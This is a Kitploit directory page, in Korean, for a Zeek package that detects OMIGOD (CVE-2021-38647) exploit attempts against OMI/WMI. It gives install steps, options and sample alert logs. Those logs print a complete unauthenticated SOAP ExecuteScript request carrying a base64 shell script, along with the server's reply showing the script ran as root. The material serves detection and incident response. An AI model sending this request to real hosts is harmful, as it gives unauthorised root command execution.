Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-38647-noimages — Zeek 패키지 CVE-2021-38647 (OMIGOD) 익스플로잇 시도를 탐지하며, OMI/WMI 트래픽을 모니터링하여 누락된 Authorization 헤더 및 악성 SOAP 페이로드를 확인하고, 구성 가능한 포트와 사고 대응 트라이지 데이터를 제공합니다. | Kitploit
도구/GitHubGitHub/corelight/cve-2021-38647-noimages
Vulnerability AnalysisExploitationNetwork SecurityCloud SecurityIntrusion DetectionIncident Response
GitHubcorelight/cve-2021-38647-noimages

CVE-2021-38647-noimages

Zeek 패키지 CVE-2021-38647 (OMIGOD) 익스플로잇 시도를 탐지하며, OMI/WMI 트래픽을 모니터링하여 누락된 Authorization 헤더 및 악성 SOAP 페이로드를 확인하고, 구성 가능한 포트와 사고 대응 트라이지 데이터를 제공합니다.

저장소 보기
32년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-38647 일명 'OMIGOD'

CVE-2021-38647 (일명 OMIGOD) 익스플로잇 시도를 탐지하는 Zeek 패키지입니다.

https://corelight.com/blog/detecting-cve-2021-38647-omigod
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

익스플로잇

익스플로잇은 단순히 Authorization 헤더를 생략하는 것입니다. 아래 그림은 요약입니다.
익스플로잇 요약

설치

라이브 환경에서 Zeek 패키지로 설치
zkg install corelight/CVE-2021-38647 또는 직접 URL 사용.
zkg install https://github.com/corelight/CVE-2021-38647/

이미 가지고 있는 pcap 파일에 대해 사용
zeek -Cr scripts/__load__.zeek your.pcap

옵션 및 참고 사항:

  • 이 패키지는 클러스터 환경 및 비클러스터 환경에서 모두 실행됩니다.

  • omigod.zeek 스크립트의 구성 가능한 옵션은 아래 설명과 같이 구현 요구 사항에 맞게 변경할 수 있습니다.

  • TCP 포트는 OMI가 기본적으로 제공하는 포트로 설정되어 있습니다. 비기본 포트는 다음 집합에 추가하십시오.
    option OMI_ports = set(1270/tcp, 5985/tcp, 5986/tcp);

  • EXPLOIT_REQUEST 및 EXPLOIT_RESPONSE 알림에 대한 IR 트라이지를 지원하기 위해 'sub' 필드에는 알림의 첫 번째 'bytes_of_data_in_notice'가 포함됩니다. 이 값을 높게 설정하면 모든 페이로드를 수집할 수 있습니다. 기본값 10000은 관련 데이터를 모두 캡처하기에 충분해야 합니다.
    option bytes_of_data_in_notice = 10000;

  • IR 트라이지 및 헌팅을 지원하기 위해 별도의 알림 'EXPLOIT_ATTEMPT'에는 클라이언트 헤더 이름과 값이 알림 'sub' 필드에 포함됩니다.
    option raise_seperate_notice_for_missing_auth_header = T;

  • User-Agent 화이트리스트는 자체 스캐너나 합법적인 시스템으로 인한 오탐을 무음 처리할 때만 매우 드물게 사용하십시오. 공격자는 이 user-agent를 쉽게 위조할 수 있다는 점을 기억하십시오. 예:
    option user_agent_whitelist = /^Microsoft WinRM Client$/;

  • 예시

    이 알림은 최대 상세 수준 설정의 예시입니다. 지나치게 상세해 보일 수 있지만, IR 트라이지 및 헌팅에 유용한 데이터가 알림의 'sub' 필드 내에 제공됩니다.

    • EXPLOIT_ATTEMPT 알림은 비교적 대략적인 공격 조건을 통과하는 요청에 대한 헤더 이름과 값을 제공합니다. 이 알림은 보수적이며 위에서 설명한 대로 끌 수 있습니다. 그러나 이 데이터를 (pcap이 아닌 알림 자체 내에서) 쉽게 접근할 수 있도록 두는 것이 사고 대응, 위협 헌팅, 규칙 튜닝에 유용할 수 있습니다. 예를 들어, 이 알림의 유용한 측면은 User-Agent로, 일부 익스플로잇 POC에서는 이를 제대로 가리지 못하는 경우가 있습니다. 아래 예에서 UA는 curl/7.52.1이며 (사용 사례에 따라) OMI 서비스에 합법적으로 접근하는 방식으로는 매우 이례적일 수 있습니다. 이 EXPLOIT_ATTEMPT 알림은 추가적인 세부 지표에 따라 EXPLOIT_REQUEST 또는 EXPLOIT_RESPONSE 알림이 뒤따를 수도 있고 아닐 수도 있습니다.
    root@kitploit:~
    #separator \x09
    #set_separator  ,
    #empty_field    (empty)
    #unset_field    -
    #path   notice
    #open   2021-09-20-14-23-48
    #fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
    #types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       interval        string  string  string  double  double
    1631859865.669975       CUoF9i1epohx0Xkycj      127.0.0.1       57592   127.0.0.1       5985    -       -       -       tcp     CVE_2021_38647::EXPLOIT_ATTEMPT A request to an OMI/WMI uri is missing the Authorization header, this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit attempt. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution, see sub field for raw data       headers= '{\x0a\x09[1] = [original_name=Host, name=HOST, value=127.0.0.1:5985],\x0a\x09[2] = [original_name=User-Agent, name=USER-AGENT, value=curl/7.52.1],\x0a\x09[3] = [original_name=Accept, name=ACCEPT, value=*/*],\x0a\x09[5] = [original_name=Content-Length, name=CONTENT-LENGTH, value=2035],\x0a\x09[6] = [original_name=Expect, name=EXPECT, value=100-continue],\x0a\x09[4] = [original_name=Content-Type, name=CONTENT-TYPE, value=application/soap+xml]\x0a}'    127.0.0.1       127.0.0.1       5985    -       -       Notice::ACTION_LOG      3600.000000     -       -       -       -       -
    
    • EXPLOIT_REQUEST 알림은 POST 요청의 페이로드를 보여줍니다. POST가 큰 경우 여러 알림으로 분할될 수 있습니다 (아래 경우처럼).
    root@kitploit:~
    #separator \x09
    #set_separator  ,
    #empty_field    (empty)
    #unset_field    -
    #path   notice
    #open   2021-09-20-14-23-48
    #fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
    #types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       interval        string  string  string  double  double
    1631859866.672356       CUoF9i1epohx0Xkycj      127.0.0.1       57592   127.0.0.1       5985    -       -       -       tcp     CVE_2021_38647::EXPLOIT_REQUEST A REQUEST to an OMI/WMI uri has a missing Authorization header - this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution    The first 10000 bytes of data = '<?xml version="1.0"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">\x09  <s:Header>\x09\x09      <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>\x09\x09          <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>\x09\x09\x09      <a:ReplyTo>\x09\x09\x09\x09            <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\x09\x09\x09\x09\x09        </a:ReplyTo>\x09\x09\x09\x09\x09\x09    <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>\x09\x09\x09\x09\x09\x09        <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>\x09\x09\x09\x09\x09\x09\x09    <a:MessageID>uuid:00B60932-CC01-0005-0000-313370010000</a:MessageID>\x09\x09\x09\x09\x09\x09\x09        <w:OperationTimeout>PT1M30S</w:OperationTimeout>\x09\x09\x09\x09\x09\x09\x09\x09    <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>\x09\x09\x09\x09\x09\x09\x09\x09        <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>\x09\x09\x09\x09\x09\x09\x09\x09\x09    <w:OptionSet s:mustUnderstand="true"/>\x09\x09\x09\x09\x09\x09\x09\x09\x09        <w:SelectorSet>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09      <w:Selector Name="__cimnamespace">root/scx</w:Selector>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09          </w:SelectorSet>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09    </s:Header>\x09\x09\x09'    127.0.0.1       127.0.0.1       5985    -       -       Notice::ACTION_LOG
          3600.000000     -       -       -       -       -```
    

    두 번째 알림은 페이로드를 보여줍니다. 이는 base64로 인코딩된 문자열 ZWNobyAiT01JR09EIGl0IHdvcmtzISINCmlkDQp1bmFtZQ0KZGF0ZQ0KZWNobyAiR29vZGJ5ZSINCg== 이며, 이를 디코딩하면 다음 셸 스크립트가 됩니다.

    root@kitploit:~
    echo "OMIGOD it works!"
    id
    uname
    date
    echo "Goodbye"
    
    root@kitploit:~
    #separator \x09
    #set_separator  ,
    #empty_field    (empty)
    #unset_field    -
    #path   notice
    #open   2021-09-20-14-23-48
    #fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
    #types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       interval        string  string  string  double  double
    1631859866.672356       CUoF9i1epohx0Xkycj      127.0.0.1       57592   127.0.0.1       5985    -       -       -       tcp     CVE_2021_38647::EXPLOIT_REQUEST A REQUEST to an OMI/WMI uri has a missing Authorization header - this is possibly a CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution    The first 10000 bytes of data = '\x09\x09\x09\x09\x09\x09\x09\x09\x09      <s:Body>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09          <p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09        <p:Script>ZWNobyAiT01JR09EIGl0IHdvcmtzISINCmlkDQp1bmFtZQ0KZGF0ZQ0KZWNobyAiR29vZGJ5ZSINCg==</p:Script>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09      <p:Arguments/>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09            <p:timeout>0</p:timeout>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09          <p:b64encoded>true</p:b64encoded>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09      </p:ExecuteScript_INPUT>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09        </s:Body>\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09</s:Envelope>'   127.0.0.1       127.0.0.1       5985    -       -       Notice::ACTION_LOG      3600.000000
         -       -       -       -       -
    
    • EXPLOIT_RESPONSE 알림에는 서버가 보낸 데이터가 포함됩니다. 아래 예에서 손상된 데이터는 페이로드 스크립트의 출력이며, 내용은 다음과 같습니다:
      OMIGOD it works!&#10;uid=0(root) gid=0(root) groups=0(root)&#10;Linux&#10;Fri Sep 17 06:24:26 UTC 2021&#10;Goodbye&#10;
    root@kitploit:~
    #separator \x09
    #set_separator  ,
    #empty_field    (empty)
    #unset_field    -
    #path   notice
    #open   2021-09-20-14-23-48
    #fields ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       fuid    file_mime_type  file_desc       proto   note    msg     sub     src     dst     p       n       peer_descr      actions suppress_for    remote_location.country_code    remote_location.region  remote_location.city    remote_location.latitude        remote_location.longitude
    #types  time    string  addr    port    addr    port    string  string  string  enum    enum    string  string  addr    addr    port    count   string  set[enum]       interval        string  string  string  double  double
    1631859866.680111       CUoF9i1epohx0Xkycj      127.0.0.1       57592   127.0.0.1       5985    -       -       -       tcp     CVE_2021_38647::EXPLOIT_RESPONSE        A Server RESPONSE has been sent following a request to an OMI/WMI uri with a missing Authorization header - this is possibly a successful CVE-2021-38647 (AKA OMIGOD) exploit. See sub of this notice field for the raw Request data. Refer to https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution      The first 10000 bytes of data = '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><SOAP-ENV:Header><wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To><wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</wsa:Action><wsa:MessageID>uuid:04F232DD-CC2A-0005-0000-000000210000</wsa:MessageID><wsa:RelatesTo>uuid:00B60932-CC01-0005-0000-313370010000</wsa:RelatesTo></SOAP-ENV:Header><SOAP-ENV:Body><p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"><p:ReturnValue>TRUE</p:ReturnValue><p:ReturnCode>0</p:ReturnCode><p:StdOut>OMIGOD it works!&#10;uid=0(root) gid=0(root) groups=0(root)&#10;Linux&#10;Fri Sep 17 06:24:26 UTC 2021&#10;Goodbye&#10;</p:StdOut><p:StdErr></p:StdErr></p:SCX_OperatingSystem_OUTPUT></SOAP-ENV:Body></SOAP-ENV:Envelope>' 127.0.0.1       127.0.0.1       5985    -       -       Notice::ACTION_LOG      3600.000000     -       -       -       -       -
    
    
    도구 다운로드